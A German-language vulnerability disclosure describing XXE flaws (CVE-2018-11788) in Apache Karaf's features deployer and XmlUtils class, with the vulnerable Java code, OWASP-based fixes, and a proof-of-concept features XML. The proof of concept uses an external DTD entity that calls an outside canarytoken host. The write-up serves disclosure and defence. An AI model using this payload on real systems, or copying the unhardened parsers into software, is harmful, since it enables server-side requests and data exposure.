
Apache Karaf XXE-Schwachstelle (CVE-2018-11788)
Apache Karaf ist ein moderner und polymorpher Anwendungscontainer. Es ist ein leichtgewichtiger, leistungsstarker und unternehmensreifer Container, der auf OSGi basiert. Apache Karaf ist ein "Produktprojekt", das eine komplette und schlüsselfertige Laufzeitumgebung bereitstellt. Die Laufzeitumgebung ist "vielseitig", was bedeutet, dass Sie verschiedene Arten von Anwendungen bereitstellen können: OSGi- oder Nicht-OSGi-Anwendungen, Webanwendungen, servicenbasierte Anwendungen usw.
In einer aktuellen Forschung zu Apache Karaf habe ich einige XXE (XML eXternal Entity Injection)-Schwachstellen in seinen XML-Parsern entdeckt. Diese werden dadurch verursacht, dass die Parser XML-Dokumente nicht ordnungsgemäß parsen.
Laut dem offiziellen Handbuch bietet Apache Karaf standardmäßig einen Features-Deployer, der es Benutzern ermöglicht, ein Features-XML zu "hot deployen", indem sie die Datei direkt in den deploy-Ordner legen.
Wenn Sie ein Features-XML in den deploy-Ordner legen, führt der Features-Deployer Folgendes aus:
Zum Beispiel wird das Ablegen des folgenden XML im deploy-Ordner automatisch feature1 und feature2 installieren, während feature3 nicht installiert wird:
<?xml version="1.0" encoding="UTF-8"?>
<features name="my-features" xmlns="http://karaf.apache.org/xmlns/features/v1.3.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://karaf.apache.org/xmlns/features/v1.3.0 http://karaf.apache.org/xmlns/features/v1.3.0">
<feature name="feature1" version="1.0" install="auto">
...
</feature>
<feature name="feature2" version="1.0" install="auto">
...
</feature>
<feature name="feature3" version="1.0">
...
</feature>
</features>
Um zu erfahren, wie der Deployer die XML-Datei verarbeitet, habe ich den Quellcode von Karaf auf Github überprüft und die folgenden Aufrufe gefunden:
Activator ruft die Funktion doStart() auf, um einen Listener für den Deployer zu starten.doStart() ruft FeatureDeploymentListener.init() auf, um einen Listener zu initialisieren.bundleChanged - canHandle - getRootElementName auf, um das XML-Dokument mithilfe von XMLInputFactory zu parsen.Bei weiterer Untersuchung der Funktion getRootElementName wie unten gezeigt, gibt es jedoch keinen Schutz gegen XXE.
private QName getRootElementName(File artifact) throws Exception {
if (xif == null) {
xif = XMLInputFactory.newFactory();
xif.setProperty(XMLInputFactory.IS_NAMESPACE_AWARE, true);
}
try (InputStream is = new FileInputStream(artifact)) {
XMLStreamReader sr = xif.createXMLStreamReader(is);
sr.nextTag();
return sr.getName();
}
}
Daher nahm ich an, dass dies ein potenzielles Sicherheitsrisiko für Apache Karaf darstellt.
Um meine Annahme zu überprüfen, habe ich die neueste offizielle Version von Apache Karaf 4.2.0 getestet, die von https://karaf.apache.org/download.html heruntergeladen wurde, wie folgt.
bin, um die Karaf-Befehlszeilenkonsole zu starten, wie unten gezeigt. bin$ ./karaf
__ __ ____
/ //_/____ __________ _/ __/
/ ,< / __ `/ ___/ __ `/ /_
/ /| |/ /_/ / / / /_/ / __/
/_/ |_|\__,_/_/ \__,_/_/
Apache Karaf (4.2.0)
Hit '<tab>' for a list of available commands
and '[cmd] --help' for help on a specific command.
Hit '<ctrl-d>' or type 'system:shutdown' or 'logout' to shutdown Karaf.
karaf@root()>
27av6zyg33g8q8xu338uvhnsc.canarytokens.com<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://27av6zyg33g8q8xu338uvhnsc.canarytokens.com"> %dtd;]
<features name="my-features" xmlns="http://karaf.apache.org/xmlns/features/v1.3.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://karaf.apache.org/xmlns/features/v1.3.0 http://karaf.apache.org/xmlns/features/v1.3.0">
<feature name="deployer" version="2.0" install="auto">
</feature>
</features>
deployapache-karaf-4.2.0$ cd deploy/
deploy$ tree
.
├── README
└── poc.xml
Warten Sie eine Weile, dann sehen Sie die DNS-Anfragen von Ihrer Testmaschine, was bedeutet, dass der XML-Parser versucht, externe Entities aus den DTDs zu laden.

Befolgen Sie den untenstehenden OWASP-Leitfaden, der präzise Informationen zur Verhinderung dieser Schwachstelle bietet. https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet#Java
Fügen Sie beispielsweise den folgenden Code hinzu, um DTDs und externe Entities in der Funktion getRootElementName zu deaktivieren.
xif.setProperty(XMLInputFactory.SUPPORT_DTD, false); // This disables DTDs entirely for that factory
xif.setProperty("javax.xml.stream.isSupportingExternalEntities", false); // disable external entities
Neben dem oben genannten Fund habe ich auch festgestellt, dass eine andere Klasse XmlUtils im Apache-Karaf-Projekt beim Parsen von XML-Dokumenten keinen Schutz vor der XXE-Schwachstelle hinzugefügt hat.
package org.apache.karaf.util;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import javax.xml.parsers.SAXParserFactory;
import javax.xml.transform.Result;
import javax.xml.transform.Source;
import javax.xml.transform.Transformer;
import javax.xml.transform.TransformerConfigurationException;
import javax.xml.transform.TransformerException;
import javax.xml.transform.TransformerFactory;
import org.w3c.dom.Document;
import org.xml.sax.ErrorHandler;
import org.xml.sax.SAXException;
import org.xml.sax.XMLReader;
/**
* Utils class to manipulate XML document in a thread safe way.
*/
public class XmlUtils {
private static final ThreadLocal<DocumentBuilderFactory> DOCUMENT_BUILDER_FACTORY = new ThreadLocal<>();
private static final ThreadLocal<TransformerFactory> TRANSFORMER_FACTORY = new ThreadLocal<>();
private static final ThreadLocal<SAXParserFactory> SAX_PARSER_FACTORY = new ThreadLocal<>();
public static Document parse(String uri) throws TransformerException, IOException, SAXException, ParserConfigurationException {
DocumentBuilder db = documentBuilder();
try {
return db.parse(uri);
} finally {
db.reset();
}
}
public static Document parse(InputStream stream) throws TransformerException, IOException, SAXException, ParserConfigurationException {
DocumentBuilder db = documentBuilder();
try {
return db.parse(stream);
} finally {
db.reset();
}
}
public static Document parse(File f) throws TransformerException, IOException, SAXException, ParserConfigurationException {
DocumentBuilder db = documentBuilder();
try {
return db.parse(f);
} finally {
db.reset();
}
}
public static Document parse(File f, ErrorHandler errorHandler) throws TransformerException, IOException, SAXException, ParserConfigurationException {
DocumentBuilder db = documentBuilder();
db.setErrorHandler(errorHandler);
try {
return db.parse(f);
} finally {
db.reset();
}
}
public static void transform(Source xmlSource, Result outputTarget) throws TransformerException {
Transformer t = transformer();
try {
t.transform(xmlSource, outputTarget);
} finally {
t.reset();
}
}
public static void transform(Source xsltSource, Source xmlSource, Result outputTarget) throws TransformerException {
Transformer t = transformer(xsltSource);
try {
t.transform(xmlSource, outputTarget);
} finally {
t.reset();
}
}
public static XMLReader xmlReader() throws ParserConfigurationException, SAXException {
SAXParserFactory spf = SAX_PARSER_FACTORY.get();
if (spf == null) {
spf = SAXParserFactory.newInstance();
spf.setNamespaceAware(true);
SAX_PARSER_FACTORY.set(spf);
}
return spf.newSAXParser().getXMLReader();
}
public static DocumentBuilder documentBuilder() throws ParserConfigurationException {
DocumentBuilderFactory dbf = DOCUMENT_BUILDER_FACTORY.get();
if (dbf == null) {
dbf = DocumentBuilderFactory.newInstance();
dbf.setNamespaceAware(true);
DOCUMENT_BUILDER_FACTORY.set(dbf);
}
return dbf.newDocumentBuilder();
}
public static Transformer transformer() throws TransformerConfigurationException {
TransformerFactory tf = TRANSFORMER_FACTORY.get();
if (tf == null) {
tf = TransformerFactory.newInstance();
TRANSFORMER_FACTORY.set(tf);
}
return tf.newTransformer();
}
private static Transformer transformer(Source xsltSource) throws TransformerConfigurationException {
TransformerFactory tf = TRANSFORMER_FACTORY.get();
if (tf == null) {
tf = TransformerFactory.newInstance();
TRANSFORMER_FACTORY.set(tf);
}
return tf.newTransformer(xsltSource);
}
}